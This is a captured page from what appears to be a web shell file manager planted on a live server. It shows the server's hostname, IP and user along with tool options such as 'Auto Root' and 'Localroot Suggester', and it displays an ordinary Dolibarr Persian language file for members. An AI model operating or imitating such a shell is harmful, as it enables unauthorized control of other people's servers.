Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
gf.bdcloud.fr /
langs /
fa_IR /
Delete
Unzip
Name
Size
Permission
Date
Action
accountancy.lang
33.13
KB
-rw-r--r--
2020-10-12 13:34
admin.lang
215.28
KB
-rw-r--r--
2020-10-12 13:34
agenda.lang
10.64
KB
-rw-r--r--
2020-10-12 13:34
assets.lang
2.32
KB
-rw-r--r--
2020-10-12 13:34
banks.lang
10.63
KB
-rw-r--r--
2020-10-12 13:34
bills.lang
46.1
KB
-rw-r--r--
2020-10-12 13:34
blockedlog.lang
7.62
KB
-rw-r--r--
2020-10-12 13:34
bookmarks.lang
1.23
KB
-rw-r--r--
2020-10-12 13:34
boxes.lang
7.09
KB
-rw-r--r--
2020-10-12 13:34
cashdesk.lang
5.43
KB
-rw-r--r--
2020-10-12 13:34
categories.lang
7.42
KB
-rw-r--r--
2020-10-12 13:34
commercial.lang
4.45
KB
-rw-r--r--
2020-10-12 13:34
companies.lang
22.54
KB
-rw-r--r--
2020-10-12 13:34
compta.lang
24.17
KB
-rw-r--r--
2020-10-12 13:34
contracts.lang
7.2
KB
-rw-r--r--
2020-10-12 13:34
cron.lang
7.21
KB
-rw-r--r--
2020-10-12 13:34
deliveries.lang
1.51
KB
-rw-r--r--
2020-10-12 13:34
dict.lang
10.55
KB
-rw-r--r--
2020-10-12 13:34
domains.lang
384
B
-rw-r--r--
2020-10-12 13:34
donations.lang
1.87
KB
-rw-r--r--
2020-10-12 13:34
ecm.lang
3.84
KB
-rw-r--r--
2020-10-12 13:34
errors.lang
36.95
KB
-rw-r--r--
2020-10-12 13:34
exports.lang
14.95
KB
-rw-r--r--
2020-10-12 13:34
externalsite.lang
351
B
-rw-r--r--
2020-10-12 13:34
ftp.lang
1.11
KB
-rw-r--r--
2020-10-12 13:34
help.lang
1.68
KB
-rw-r--r--
2020-10-12 13:34
holiday.lang
8.45
KB
-rw-r--r--
2020-10-12 13:34
hrm.lang
801
B
-rw-r--r--
2020-10-12 13:34
install.lang
27.86
KB
-rw-r--r--
2020-10-12 13:34
interventions.lang
5.31
KB
-rw-r--r--
2020-10-12 13:34
languages.lang
3.07
KB
-rw-r--r--
2020-10-12 13:34
ldap.lang
2
KB
-rw-r--r--
2020-10-12 13:34
link.lang
655
B
-rw-r--r--
2020-10-12 13:34
loan.lang
1.5
KB
-rw-r--r--
2020-10-12 13:34
mailmanspip.lang
2.05
KB
-rw-r--r--
2020-10-12 13:34
mails.lang
12.46
KB
-rw-r--r--
2020-10-12 13:34
main.lang
42.72
KB
-rw-r--r--
2020-10-12 13:34
margins.lang
4.21
KB
-rw-r--r--
2020-10-12 13:34
members.lang
13.36
KB
-rw-r--r--
2020-10-12 13:34
modulebuilder.lang
12.47
KB
-rw-r--r--
2020-10-12 13:34
mrp.lang
4.57
KB
-rw-r--r--
2020-10-12 13:34
multicurrency.lang
2.49
KB
-rw-r--r--
2020-10-12 13:34
oauth.lang
1.84
KB
-rw-r--r--
2020-10-12 13:34
opensurvey.lang
5.16
KB
-rw-r--r--
2020-10-12 13:34
orders.lang
11.68
KB
-rw-r--r--
2020-10-12 13:34
other.lang
17.19
KB
-rw-r--r--
2020-10-12 13:34
paybox.lang
2.47
KB
-rw-r--r--
2020-10-12 13:34
paypal.lang
2.22
KB
-rw-r--r--
2020-10-12 13:34
printing.lang
2.39
KB
-rw-r--r--
2020-10-12 13:34
productbatch.lang
2.03
KB
-rw-r--r--
2020-10-12 13:34
products.lang
25.58
KB
-rw-r--r--
2020-10-12 13:34
projects.lang
19.74
KB
-rw-r--r--
2020-10-12 13:34
propal.lang
4.67
KB
-rw-r--r--
2020-10-12 13:34
receiptprinter.lang
3.2
KB
-rw-r--r--
2020-10-12 13:34
receptions.lang
3.43
KB
-rw-r--r--
2020-10-12 13:34
resource.lang
1.18
KB
-rw-r--r--
2020-10-12 13:34
salaries.lang
1.24
KB
-rw-r--r--
2020-10-12 13:34
sendings.lang
3.75
KB
-rw-r--r--
2020-10-12 13:34
sms.lang
1.9
KB
-rw-r--r--
2020-10-12 13:34
stocks.lang
19.16
KB
-rw-r--r--
2020-10-12 13:34
stripe.lang
5.13
KB
-rw-r--r--
2020-10-12 13:34
supplier_proposal.lang
3.83
KB
-rw-r--r--
2020-10-12 13:34
suppliers.lang
2.93
KB
-rw-r--r--
2020-10-12 13:34
ticket.lang
21.21
KB
-rw-r--r--
2020-10-12 13:34
trips.lang
6.98
KB
-rw-r--r--
2020-10-12 13:34
users.lang
7.84
KB
-rw-r--r--
2020-10-12 13:34
website.lang
13.27
KB
-rw-r--r--
2020-10-12 13:34
withdrawals.lang
9.15
KB
-rw-r--r--
2020-10-12 13:34
workflow.lang
2.62
KB
-rw-r--r--
2020-10-12 13:34
zapier.lang
992
B
-rw-r--r--
2020-10-12 13:34
Save
Rename
# Dolibarr language file - Source file is en_US - members MembersArea=بخش کاربران MemberCard=کارت اعضا SubscriptionCard=کارت اشتراک Member=عضو Members=کاربران ShowMember=کارت نمایش عضو UserNotLinkedToMember=کاربر به یک عضو مرتبط نیست ThirdpartyNotLinkedToMember=Third party not linked to a member MembersTickets=کاربران بلیط FundationMembers=اعضای بنیاد ListOfValidatedPublicMembers=فهرست کاربران عمومی معتبر ErrorThisMemberIsNotPublic=این عضو است عمومی نمی ErrorMemberIsAlreadyLinkedToThisThirdParty=یکی دیگر از عضو (نام و نام <b>خانوادگی:٪ S،</b> وارد <b>کنید:٪ s)</b> در حال حاضر به شخص <b>ثالث٪ s در</b> ارتباط است. حذف این لینک برای اولین بار به دلیل یک شخص ثالث می تواند تنها به یک عضو (و بالعکس) پیوند داده نمی شود. ErrorUserPermissionAllowsToLinksToItselfOnly=به دلایل امنیتی، شما باید مجوز اعطا شده به ویرایش تمام کاربران قادر به پیوند عضو به یک کاربر است که مال شما نیست. SetLinkToUser=پیوند به یک کاربر Dolibarr SetLinkToThirdParty=لینک به شخص ثالث Dolibarr MembersCards=کاربران کارت های کسب و کار MembersList=فهرست کاربران MembersListToValid=لیست اعضای پیش نویس (به اعتبار شود) MembersListValid=لیست اعضای معتبر MembersListUpToDate=فهرست کاربران معتبر با به اشتراک عضویت MembersListNotUpToDate=فهرست کاربران معتبر با اشتراک از تاریخ MembersListResiliated=List of terminated members MembersListQualified=لیست اعضای واجد شرایط MenuMembersToValidate=عضو پیش نویس MenuMembersValidated=اعضای اعتبار MenuMembersUpToDate=تا اعضای تاریخ MenuMembersNotUpToDate=از اعضای تاریخ MenuMembersResiliated=Terminated members MembersWithSubscriptionToReceive=کاربران با اشتراک برای دریافت MembersWithSubscriptionToReceiveShort=Subscription to receive DateSubscription=تاریخ ثبت نام DateEndSubscription=تاریخ پایان ثبت نام EndSubscription=اشتراک پایان SubscriptionId=شناسه اشتراک MemberId=نام کاربری NewMember=عضو جدید MemberType=نوع کاربران MemberTypeId=نوع شناسه عضو MemberTypeLabel=نوع کاربران برچسب MembersTypes=انواع کاربران MemberStatusDraft=پیش نویس (نیاز به تایید می شود) MemberStatusDraftShort=پیش نویس MemberStatusActive=اعتبار (انتظار آبونمان) MemberStatusActiveShort=اعتبار MemberStatusActiveLate=Subscription expired MemberStatusActiveLateShort=منقضی شده MemberStatusPaid=اشتراک به روز MemberStatusPaidShort=به روز MemberStatusResiliated=Terminated member MemberStatusResiliatedShort=Terminated MembersStatusToValid=عضو پیش نویس MembersStatusResiliated=Terminated members NewCotisation=سهم های جدید PaymentSubscription=پرداخت سهم جدید SubscriptionEndDate=تاریخ پایان اشتراک در MembersTypeSetup=نوع کاربران راه اندازی MemberTypeModified=Member type modified DeleteAMemberType=Delete a member type ConfirmDeleteMemberType=Are you sure you want to delete this member type? MemberTypeDeleted=Member type deleted MemberTypeCanNotBeDeleted=Member type can not be deleted NewSubscription=اشتراک جدید NewSubscriptionDesc=این فرم به شما قابلیت ضبط اشتراک خود را به عنوان یک عضو جدید از پایه و اساس. اگر می خواهید به تمدید اشتراک خود را (اگر در حال حاضر عضو)، لطفا به جای تماس با هیئت مدیره بنیاد از طریق ایمیل٪ است. Subscription=اشتراک Subscriptions=اشتراک ها SubscriptionLate=دیر SubscriptionNotReceived=اشتراک هرگز دریافت ListOfSubscriptions=فهرست اشتراک ها SendCardByMail=Send card by email AddMember=Create member NoTypeDefinedGoToSetup=هیچ نوع عضو تعریف شده است. برو به منوی "انواع کاربران" NewMemberType=نوع عضو جدید WelcomeEMail=Welcome email SubscriptionRequired=اشتراک مورد نیاز DeleteType=حذف کردن VoteAllowed=رای اجازه Physical=فیزیکی Moral=اخلاقی MorPhy=با اخلاق / فیزیکی Reenable=را دوباره فعال کنید ResiliateMember=Terminate a member ConfirmResiliateMember=Are you sure you want to terminate this member? DeleteMember=حذف عضو ConfirmDeleteMember=Are you sure you want to delete this member (Deleting a member will delete all his subscriptions)? DeleteSubscription=حذف اشتراک ConfirmDeleteSubscription=Are you sure you want to delete this subscription? Filehtpasswd=فایل htpasswd ValidateMember=اعتبارسنجی عضو ConfirmValidateMember=Are you sure you want to validate this member? FollowingLinksArePublic=The following links are open pages not protected by any Dolibarr permission. They are not formatted pages, provided as example to show how to list members database. PublicMemberList=فهرست کاربران عمومی BlankSubscriptionForm=Public self-subscription form BlankSubscriptionFormDesc=Dolibarr can provide you a public URL/website to allow external visitors to ask to subscribe to the foundation. If an online payment module is enabled, a payment form may also be automatically provided. EnablePublicSubscriptionForm=Enable the public website with self-subscription form ForceMemberType=Force the member type ExportDataset_member_1=کاربران و اشتراک ImportDataset_member_1=کاربران LastMembersModified=Latest %s modified members LastSubscriptionsModified=Latest %s modified subscriptions String=رشته Text=متن Int=بین المللی DateAndTime=تاریخ و زمان PublicMemberCard=کاربران کارت های عمومی SubscriptionNotRecorded=Subscription not recorded AddSubscription=Create subscription ShowSubscription=نمایش اشتراک # Label of email templates SendingAnEMailToMember=Sending information email to member SendingEmailOnAutoSubscription=Sending email on auto registration SendingEmailOnMemberValidation=Sending email on new member validation SendingEmailOnNewSubscription=Sending email on new subscription SendingReminderForExpiredSubscription=Sending reminder for expired subscriptions SendingEmailOnCancelation=Sending email on cancelation # Topic of email templates YourMembershipRequestWasReceived=Your membership was received. YourMembershipWasValidated=Your membership was validated YourSubscriptionWasRecorded=Your new subscription was recorded SubscriptionReminderEmail=Subscription reminder YourMembershipWasCanceled=Your membership was canceled CardContent=محتوا از کارت عضو شما # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=We want to let you know that your membership request was received.<br><br> ThisIsContentOfYourMembershipWasValidated=We want to let you know that your membership was validated with the following information:<br><br> ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.<br><br> ThisIsContentOfSubscriptionReminderEmail=We want to let you know that your subscription is about to expire or has already expired (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). We hope you will renew it.<br><br> ThisIsContentOfYourCard=This is a summary of the information we have about you. Please contact us if anything is incorrect.<br><br> DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Subject of the notification email received in case of auto-inscription of a guest DescADHERENT_AUTOREGISTER_NOTIF_MAIL=Content of the notification email received in case of auto-inscription of a guest DescADHERENT_EMAIL_TEMPLATE_AUTOREGISTER=Email template to use to send email to a member on member autosubscription DescADHERENT_EMAIL_TEMPLATE_MEMBER_VALIDATION=Email template to use to send email to a member on member validation DescADHERENT_EMAIL_TEMPLATE_SUBSCRIPTION=Email template to use to send email to a member on new subscription recording DescADHERENT_EMAIL_TEMPLATE_REMIND_EXPIRATION=Email template to use to send email reminder when subscription is about to expire DescADHERENT_EMAIL_TEMPLATE_CANCELATION=Email template to use to send email to a member on member cancelation DescADHERENT_MAIL_FROM=Sender Email for automatic emails DescADHERENT_ETIQUETTE_TYPE=فرمت صفحه برچسب ها DescADHERENT_ETIQUETTE_TEXT=متن چاپ شده بر روی ورق آدرس عضو DescADHERENT_CARD_TYPE=فرمت صفحه کارت DescADHERENT_CARD_HEADER_TEXT=متن چاپ شده در بالای کارت های عضو DescADHERENT_CARD_TEXT=متن چاپ شده بر روی کارت های عضو (چین در سمت چپ) DescADHERENT_CARD_TEXT_RIGHT=متن چاپ شده بر روی کارت های عضو (چین در سمت راست) DescADHERENT_CARD_FOOTER_TEXT=متن چاپ شده در پایین از کارت های عضو ShowTypeCard=نمایش نوع «٪ s ' HTPasswordExport=نسل فایل htpassword NoThirdPartyAssociatedToMember=بدون شخص ثالث مرتبط به این کاربر MembersAndSubscriptions= کاربران و اشتراک MoreActions=اقدام مکمل در ضبط MoreActionsOnSubscription=اقدام مکمل، پیشنهاد به طور پیش فرض هنگام ضبط اشتراک MoreActionBankDirect=Create a direct entry on bank account MoreActionBankViaInvoice=Create an invoice, and a payment on bank account MoreActionInvoiceOnly=ایجاد یک فاکتور بدون پرداخت LinkToGeneratedPages=ایجاد کارت های کسب و LinkToGeneratedPagesDesc=این صفحه نمایش شما اجازه می دهد برای تولید فایل های PDF با کارت های کسب و کار برای همه اعضای خود را یا یکی از اعضای خاص است. DocForAllMembersCards=ایجاد کارت های کسب و کار برای همه اعضای DocForOneMemberCards=ایجاد کارت های کسب و کار برای یک عضو خاص DocForLabels=تولید ورق آدرس SubscriptionPayment=پرداخت اشتراک LastSubscriptionDate=Date of latest subscription payment LastSubscriptionAmount=Amount of latest subscription MembersStatisticsByCountries=آمار کاربران بر اساس کشور MembersStatisticsByState=آمار کاربران توسط ایالت / استان MembersStatisticsByTown=آمار کاربران توسط شهر MembersStatisticsByRegion=آمار کاربران بر اساس منطقه NbOfMembers=تعداد اعضا NoValidatedMemberYet=هیچ اعتبار یافت MembersByCountryDesc=این صفحه آمار در اعضا را با کشورهای به شما نشان دهد. گرافیک در گوگل خدمات گراف آنلاین بستگی دارد با این حال و در دسترس است تنها در صورت اتصال به اینترنت در حال کار است. MembersByStateDesc=این صفحه آمار در عضو های دولتی / استان / کانتون شما نشان می دهد. MembersByTownDesc=این صفحه آمار در عضو های شهر شما نشان می دهد. MembersStatisticsDesc=را انتخاب کنید آمار شما می خواهید به عنوان خوانده شده ... MenuMembersStats=ارقام LastMemberDate=Latest member date LatestSubscriptionDate=آخرین تاریخ عضویت MemberNature=Nature of member Public=اطلاعات عمومی NewMemberbyWeb=عضو جدید اضافه شده است. در انتظار تایید NewMemberForm=فرم عضو جدید SubscriptionsStatistics=آمار اشتراک NbOfSubscriptions=تعداد اشتراک AmountOfSubscriptions=میزان اشتراک ها TurnoverOrBudget=گردش مالی (برای یک شرکت) و یا بودجه (برای پایه) DefaultAmount=مقدار پیش فرض از اشتراک CanEditAmount=بازدید کنندگان می توانند / ویرایش میزان اشتراک خود را انتخاب کنید MEMBER_NEWFORM_PAYONLINE=پرش در یکپارچه صفحه پرداخت آنلاین ByProperties=By nature MembersStatisticsByProperties=Members statistics by nature MembersByNature=This screen show you statistics on members by nature. MembersByRegion=This screen show you statistics on members by region. VATToUseForSubscriptions=نرخ مالیات بر ارزش افزوده برای استفاده از اشتراک ها NoVatOnSubscription=No VAT for subscriptions ADHERENT_PRODUCT_ID_FOR_SUBSCRIPTIONS=Product used for subscription line into invoice: %s NameOrCompany=Name or company SubscriptionRecorded=Subscription recorded NoEmailSentToMember=No email sent to member EmailSentToMember=Email sent to member at %s SendReminderForExpiredSubscriptionTitle=Send reminder by email for expired subscription SendReminderForExpiredSubscription=Send reminder by email to members when subscription is about to expire (parameter is number of days before end of subscription to send the remind. It can be a list of days separated by a semicolon, for example '10;5;0;-5') MembershipPaid=Membership paid for current period (until %s) YouMayFindYourInvoiceInThisEmail=You may find your invoice attached to this email XMembersClosed=%s member(s) closed